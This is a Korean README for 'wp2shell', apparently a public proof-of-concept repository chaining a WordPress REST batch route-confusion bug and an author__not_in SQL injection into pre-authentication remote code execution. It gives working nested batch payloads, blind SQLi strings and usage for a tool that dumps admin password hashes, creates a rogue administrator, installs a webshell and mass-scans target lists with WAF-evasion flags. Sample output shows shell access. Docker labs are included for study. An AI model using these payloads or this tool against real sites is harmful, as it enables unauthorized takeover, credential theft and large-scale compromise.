
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPress 코어의 인증되지 않은 원격 코드 실행(RCE)
REST API 배치 라우트 혼동(CVE-2026-63030)과
WP_Queryauthor__not_inSQL 인젝션(CVE-2026-60137)의 체이닝 → 기본 WordPress 설치에 대한 인증 전 원격 코드 실행.Adam Kues(Assetnote / Searchlight Cyber)가 발견, 2026-07-17 공개. 권고: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| 체인 (인증 없는 RCE) | WordPress 6.9.0 - 6.9.4 및 7.0.0 - 7.0.1 |
| SQLi만 (보조 플러그인/테마 필요) | 6.8.0 - 6.8.5 |
| 영향 없음 | 배치 혼동의 경우 ≤ 6.8; 6.9.5 / 7.0.2 / 7.1-beta2 (패치됨) |
| 전제 조건 | REST API 접근 가능; 영구 객체 캐시 없음 (Redis/Memcached); ≥1개의 발행된 글 |
| 인증 필요 | 없음 |
| 영향 | 인증 없이 → 새 관리자 생성 → 코드 실행 (SQLi는 관리자 해시도 덤프) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests 의존성이 없고 깨진 기능도 없습니다.shell은 단일 글 UNION 혼동을 통해 가짜 WP_Post를 위조하고, 커스터마이저를 브리지하여 새 관리자(POST /wp/v2/users)를 만든 뒤 로그인하고 토큰 게이트 웹쉘을 설치합니다. SQLi 관리자 해시 덤프(read --preset users)는 검증된 두 번째 경로로 유지됩니다.check로 사용되는 버전 독립적 혼동 탐지기(block_cannot_read).sqli).$wp$2y$ 비밀번호 해시를 위한 hashcat 모드(-m 35500).wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
이 도구가 참조하는 6개의 공개 PoC는 여기에 번들로 포함되지 않으며, 크레딧에 링크되어 있습니다.
아래의 모든 내용은 로컬 Docker 랩에서 검증되었습니다(§4 참조); 랩에서 실행되지 않은 항목은 그렇게 표시됩니다.
이 체인은 두 개의 독립적인 버그를 결합합니다. 줄 번호는 실제 WordPress
6.9.4 소스(wordpress:6.9.4-apache에서 추출) 기준입니다.
author__not_in SQL 인젝션 (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
문자열 author__not_in은 is_array() 가드(2404)를 건너뜁니다. implode(',', (array)"…")는 이를 변경 없이 반환하고(2408), SQL에 원시 문자열로 연결됩니다(2409). 형제인 author__in(2415)은 implode 내부에서 array_map('absint', …)을 다시 적용하므로 안전합니다. 바로 그 누락된 array_map 하나가 이 버그입니다. 값은 ... post_author NOT IN (<value>) ...로 들어가므로 0) <sql>-- -가 리스트를 닫고 SQL을 덧붙입니다.
문자열을 거기에 넣는 것이 어려운 부분입니다. REST 글 엔드포인트는 author_exclude → author__not_in(class-wp-rest-posts-controller.php:247)을 매핑하지만 정수 'type' => 'array'로 선언하므로 코어가 문자열을 강제 변환/거부합니다:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
그래서 버그 A만으로는 "보조" 단계에 불과합니다. 버그 B가 6.9+에서 문자열을 검증을 통과시켜 밀반입합니다.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
WP_Error 하위 요청은 $validation[](1752)에 푸시되지만 $matches[]에는 푸시되지 않습니다(1753의 continue가 1757을 건너뜀). 따라서 $matches가 짧아지고 $matches[$i](1841)는 다음 요청의 핸들러를 보유하게 됩니다. 요청 i는 요청 i+1의 핸들러로 디스패치되며, 자신의 파라미터와 (통과된) 검증 결과를 그대로 가집니다.
회귀 원인 (6.8.3 → 6.9.4 diff에서 검증): 6.8.3에서는 루프가 모든 요청에 대해 $matches[] = $match를 푸시하고 잘못된 경로는 첫 번째 루프에서 버려집니다 - 배열이 정렬된 상태로 유지되어 불일치가 없습니다. 6.9.0의 리팩터링에서 이 시프트가 도입되었습니다. 이것이 바로 6.8.x가 "SQLi 전용"이고 RCE 체인이 6.9.0부터 시작하는 이유입니다.
패치는 오류 항목에 대해서도 $matches[]를 추가하고, 재진입을 강화하며, author__not_in을 id-리스트 헬퍼로 파싱합니다. (테스트 시점에 6.9.5는 Docker Hub에 없었으므로 이 내용은 권고 문서 기준이며 랩 내 diff가 아닙니다.)
배치 스키마는 POST/PUT/PATCH/DELETE 하위 요청만 허용하지만, 글 get_items(author_exclude 싱크)는 GET 전용이므로 혼동을 두 번 중첩합니다:
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
///는 불일치 프라이머입니다(wp_parse_url()이 거부하는 모든 경로가 작동합니다). 이 도구는 동일한 트릭의 --variant categories 버전도 제공합니다.
단일의 비파괴적이며 버전 독립적인 프로브는 SQLi 싱크가 객체 캐시되거나 WAF로 필터링된 경우에도 CVE-2026-63030을 확인합니다: 불일치로 인해 POST /wp/v2/posts가 블록 렌더러의 권한 콜백에 의해 응답되는 POST 하위 요청 배치입니다:
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check는 이를 기본 신호로 사용합니다(구조적 글-vs-분류 형태를 폴백으로). (탐지 기법: Hadrian / Icex0.)
값은 NOT IN (<value>) 안에 위치하여 깔끔한 불리언 오라클을 제공합니다: 0) AND (<cond>)-- -는 <cond>가 참일 때만 행을 반환합니다. 추출은 ASCII(SUBSTRING(COALESCE((expr),''),n,1))에 대한 문자 단위 이진 탐색입니다(COALESCE는 NULL이 빈 읽기로 단락되는 것을 방지합니다).
랩 메모 - 시간 기반은 주의가 필요합니다. 기본 설치에서 단순한
0) OR SLEEP(n)-- -는 지연이 없습니다: 게시된 행이 먼저 쿼리를 충족하여OR를 단락시키기 때문입니다. 확인은 결정론적 불리언 차등 비교를 사용하며, 타이밍은0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -를 사용합니다. 관측 결과 0.01초 vs 3.04초.
실용적인 RCE는 비밀번호도 크래킹도 필요 없습니다. 자격 증명이 없는 shell은 전체 체인을 실행하며, 모두 랩에서 검증되었습니다:
WP_Post 프리미티브. 두 번째 혼동 변형은 깔끔한 UNION 가능 쿼리에 도달합니다: /wp/v2/posts/999999?orderby=none&per_page=500은 단일 글 항목 스키마에 대해 검증되므로(컬렉션 전용 파라미터는 검사 없이 통과), 글 컬렉션 핸들러로 불일치 디스패치됩니다. orderby=none은 끝의 ORDER BY를 제거하고 per_page=500은 WP_Query를 전체 행 모드로 유지하므로 UNION SELECT가 조작된 wp_posts 행으로 생존합니다.oembed_cache + customize_changeset(user_id를 UNION으로 읽은 기존 관리자의 ID로 설정) + nav_menu_item 행을 위조합니다. oEmbed를 트리거하면 커스터마이저 변경 세트가 그 관리자 권한으로 실행됩니다.이전 대안 (--user/--password). read --preset users가 wp_users.user_pass를 덤프하고(WordPress 6.9의 $wp$2y$… = HMAC-SHA384 위의 bcrypt; **hashcat -m 35500**으로 크랙), 그런 다음 shell --user/--password가 복구된 평문으로 로그인합니다. 실제로 작동하지만 bcrypt는 느리므로 위의 관리자 생성 체인이 표준 경로입니다.
6.8.x에는 버그 A가 있지만 버그 B가 없으며, 코어가 author_exclude를 정수 배열로 강제 변환하므로 SQLi는 WP_Query에 원시 문자열을 전달하는 보조 플러그인/테마를 통해서만 도달할 수 있습니다. sqli 하위 명령은 그러한 싱크에 직접 주입합니다(기본적으로 시간 기반; --true-contains로 빠른 불리언). 6.8.3의 lab/sqli-only 보조 플러그인에 대해 시연되었습니다.
wp2shell.py단일 파일, Python 3.7+, 표준 라이브러리 전용. 모든 명령에 프로덕션 준비 전송 계층: --insecure(자체 서명 TLS), -H 'K: V'(반복 가능), --user-agent, --proxy, --retries, --delay.
check fingerprint + confusion marker + confirm the SQLi (non-destructive)
read read the DB via blind SQLi (--preset fingerprint|users | --query "SELECT …")
shell RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan threaded vuln-check over a single URL OR a .txt list (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # or reuse an existing admin
./wp2shell.py scan https://target --prove # single URL, extract @@version as proof
./wp2shell.py scan targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # full version × DB matrix
# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
랩 관리자는 admin / Admin!2345입니다 - 평문은 랩이 인증 후 shell을 시연할 수 있도록만 알려져 있습니다. 실제 공격자는 해시를 복구하여 크랙합니다.
DB 범위는 MySQL 및 MariaDB로 제한됩니다 - WordPress 코어는 프로덕션에서 다른 엔진을 지원하지 않습니다(PostgreSQL/MSSQL 드라이버 없음; SQLite는 희귀 플러그인을 통해서만 가능).
모든 명령이 랩에서 실행됨: check(마커 block_cannot_read + 불리언 + 시간), read(fingerprint / users / --query), shell(크랙 없는 관리자 생성 → 로그인 → 웹쉘 → uid=33(www-data), 추가로 --user/--password 및 대화형 REPL), sqli(불리언 + 시간), scan(단일 URL + .txt + --json + --prove), --variant categories 페이로드, 엔드포인트 자동 감지(/wp-json/ + ?rest_route=), 전송 플래그.
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!... (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read 탐지 아이디어),
VulnCheck.wp2shell.py에서 처음부터 재구현되었으며 코드를 그대로 복사하지 않음):
WP_Post를 위조하고, oembed_cache + customize_changeset(user_id=admin) + nav_menu_item 그래프를 구동하여 커스터마이저가 기존 관리자 권한으로 실행되게 한 다음 로 새 관리자를 생성합니다.승인된 보안 테스트 및 교육 목적으로만 - 소유한 시스템 또는 서면 승인을 받아 테스트할 수 있는 시스템. 여기의 모든 공격 코드는 로컬의 일회용 Docker 랩에서 실행되었습니다. 웹쉘은 토큰 게이트이며 기본 명령은 무해합니다. 이 도구를 어떻게 사용하는지에 대한 책임은 사용자에게 있습니다.
roles:["administrator"]POST /wp/v2/userswp2_*wp_usersupdate.php?action=upload-plugin을 통해 토큰 게이트 플러그인을 업로드하여 명령을 실행합니다. 검증됨: uid=33(www-data).| WordPress | DB 엔진 | 경로 | check | 추출된 데이터 |
|---|
| 6.9.4 | MariaDB 11 | 배치 체인 | ✅ 전체 RCE | admin $wp$2y$… 해시 + @@version |
| 7.0.1 | MariaDB 11 | 배치 체인 | ✅ 전체 RCE | admin 해시 |
| 6.9.4 | MySQL 8.4 | 배치 체인 | ✅ 전체 RCE | admin 해시 (페이로드 이식 가능) |
| 6.8.3 | MariaDB 11 | 배치 체인 | ⛔ 207이지만 혼동 없음 | - (권고와 일치) |
| 6.8.3 | MariaDB 11 | 보조 sqli | ✅ CVE-2026-60137 | @@version, user, db - 불리언 및 시간 기반 |
POST /wp/v2/usersunion_inject 단일 글 혼동, UnionSQLi, PreAuthAdminCreator), block_cannot_read 마커 탐지기, NULL 안전 COALESCE 추출, 지터 내성 타이밍.$wp$2y$ → hashcat -m 35500): hashpwn / hashcat.